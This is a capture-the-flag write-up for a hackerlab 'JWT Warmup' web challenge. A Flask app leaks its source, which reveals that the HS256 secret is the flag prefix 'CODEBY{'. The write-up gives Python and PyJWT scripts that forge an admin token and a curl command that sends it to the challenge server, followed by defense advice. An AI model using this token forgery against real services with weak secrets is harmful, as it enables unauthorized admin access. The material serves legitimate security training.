Разминка с JWT (JWT Warmup)
Разминка с JWT (JWT Warmup)
Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: NA
Summary
Task: JWT warmup challenge with source code disclosure. Solution: The JWT secret is derived from the first 7 characters of the flag (CODEBY{), allowing token forgery with admin privileges.
Разминка с JWT (JWT Warmup) — hackerlab.pro
Description
Разминочный таск на JWT, перед таском посложнее
URL: http://62.173.140.174:16007
Analysis
1. Reconnaissance
The main page (/) returns the application source code:
python read-only • copy allowedfrom flask import Flask, request import jwt app = Flask(__name__) flag = "CODEBY{...}" secret = flag[:7] # <-- Key vulnerability! @app.route('/') def index(): return open(__file__).read() @app.route('/check-jwt/<token>') def check_jwt(token): try: data = jwt.decode(token, secret, algorithms=['HS256']) if data.get('name') == 'admin' and data.get('isAdmin') == True: return flag return "Not admin" except: return "Invalid token"
2. Vulnerability
Predictable JWT Secret: The secret for signing the JWT token is the first 7 characters of the flag.
Flag format on hackerlab.pro: CODEBY{...}
Therefore: secret = "CODEBY{"
3. Conditions for Getting the Flag
To get the flag, we need a JWT token with payload:
name="admin"isAdmin=True
Solution
Creating a Forged JWT Token
python read-only • copy allowed#!/usr/bin/env python3 import hmac import hashlib import base64 import json # Known secret (first 7 characters of the flag) secret = "CODEBY{" # JWT Header header = {"alg": "HS256", "typ": "JWT"} # JWT Payload (conditions for getting the flag) payload = {"name": "admin", "isAdmin": True} def b64url_encode(data): """Base64 URL-safe encoding without padding""" if isinstance(data, dict): data = json.dumps(data, separators=(',', ':')).encode() return base64.urlsafe_b64encode(data).decode().rstrip('=') # Encode header and payload header_b64 = b64url_encode(header) payload_b64 = b64url_encode(payload) # Form the message for signing message = f"{header_b64}.{payload_b64}" # Create HMAC-SHA256 signature signature = hmac.new( secret.encode(), message.encode(), hashlib.sha256 ).digest() # Assemble the final token token = f"{message}.{base64.urlsafe_b64encode(signature).decode().rstrip('=')}" print(f"Token: {token}")
Sending the Token
bash read-only • copy allowed# Generated token TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJpc0FkbWluIjp0cnVlfQ.XYZ..." # Get the flag curl "http://62.173.140.174:16007/check-jwt/$TOKEN"
Alternative with PyJWT
python read-only • copy allowedimport jwt import requests secret = "CODEBY{" token = jwt.encode( {"name": "admin", "isAdmin": True}, secret, algorithm="HS256" ) response = requests.get(f"http://62.173.140.174:16007/check-jwt/{token}") print(response.text)
Techniques
| Technique | Description |
|---|---|
| Source Code Disclosure | Main page returns the source code |
| Predictable Secret | Secret = first 7 characters of flag = CODEBY{ |
| JWT Forgery | Creating a valid token with a known secret |
| HS256 Signature | HMAC-SHA256 signature with base64url encoding |
| |
Defense
To prevent such attacks:
- Use cryptographically strong secrets — minimum 256 bits of entropy
- Don't derive secrets from predictable data — flags, names, dates
- Store secrets in environment variables — not in code
- Use asymmetric algorithms — RS256 instead of HS256 for public APIs
References
- JWT.io Debugger
- RFC 7519 - JSON Web Token
- OWASP JWT Cheat Sheet